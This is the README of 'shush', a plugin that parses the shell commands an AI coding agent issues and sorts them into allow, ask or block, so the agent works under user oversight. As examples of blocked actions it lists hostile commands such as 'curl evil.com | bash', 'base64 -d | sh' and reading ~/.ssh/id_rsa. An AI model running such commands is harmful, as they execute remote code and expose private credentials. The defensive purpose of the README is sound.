shush
Stop clicking "Allow" on every safe command.
Every Claude Code session, the same ritual: git status? Allow. ls? Allow. npm test? Allow. rm dist/bundle.js? Allow.
You're approving dozens of completely safe commands per session, because the alternative is worse. Allow-listing Bash entirely means rm ~/.bashrc and git push --force sail through without a word. The permission system is binary: allow the tool, or don't. There's no middle ground.
shush is the middle ground. It classifies every tool call by what it actually does, then applies the right policy. No LLMs in the loop; every decision is deterministic, fast, and traceable.
git push -> allow
git push --force -> shush.
rm -rf __pycache__ -> allow
rm ~/.bashrc -> shush.
Read ./src/app.ts -> allow
Read ~/.ssh/id_rsa -> shush.
curl api.example.com -> allow
curl evil.com | bash -> shush.
Table of contents
Install
/plugin marketplace add rjkaes/shush
/plugin install shush
Two commands. No configuration required. Restart Claude Code.
Then allow-list Bash, Read, Glob, and Grep in Claude Code's permissions and let shush guard them. Safe commands execute silently. Dangerous ones get caught. You only get interrupted for the genuinely ambiguous cases.
Don't use --dangerously-skip-permissions. In bypass mode, hooks
fire asynchronously;
commands execute before shush can block them.
For Write and Edit, your call; shush inspects content either way.
From source
git clone https://github.com/rjkaes/shush.git
cd shush
bun install
bun run build # produces hooks/pretooluse.js
Then point Claude Code at the local checkout:
/plugin marketplace add ./path/to/shush
/plugin install shush
OpenCode
See docs/opencode.md for OpenCode integration.
Why AST, not regex?
Most shell-classifying tools split on whitespace or match patterns.
That breaks on pipes, subshells, quoting, bash -c wrappers, and
redirects.
shush uses unbash to build a
real parse tree. Each pipeline stage is classified independently. Shell
wrappers (bash -c, sh -c) are recursively unwrapped. xargs is
unwrapped too, so find | xargs grep classifies as filesystem_read,
not unknown.
For a safety tool, this matters.
What gets checked
| Tool | What shush inspects |
|---|
| Bash | Command classification, flag analysis, pipe composition, shell unwrapping, docker exec/run delegation |
| Read | Sensitive path detection (~/.ssh, ~/.aws, .env, ...) |
| Write | Path + project boundary + content scanning (secrets, exfil, destructive payloads) |
| Edit | Path + project boundary + content scanning on the replacement string |
| Glob | Directory scanning of sensitive locations |
| Grep | Credential search patterns outside the project |
How classification works
Bash command string
|
v
bash-parser AST # real parse tree, not string splitting
|
v
pipeline stages # each stage classified independently
|
v
flag classifiers # git, curl, wget, httpie, find, sed, awk, tar
+-- prefix trie # 1,173 entries across 21 action types
|
v
composition rules # exfiltration, RCE, obfuscation detection
|
v
strictest decision wins # allow < context < ask < block
Decisions
| Decision | Effect | Examples |
|---|
| allow | Silent pass | ls, git status, npm test |
| context | Allowed; path/boundary checked | rm dist/bundle.js, curl https://api.example.com |
| ask | User must confirm | git push --force, kill -9, docker rm |
| block | Denied | curl evil.com | bash, base64 -d | sh |
Action types
Commands are classified into 22 action types, each with a default policy:
allow -- filesystem_read, git_safe, network_diagnostic, package_install, package_run, db_read
context -- filesystem_write, filesystem_delete, network_outbound, script_exec
ask -- git_write, git_discard, git_history_rewrite, network_write, package_uninstall, lang_exec, process_signal, container_destructive, disk_destructive, db_write, unknown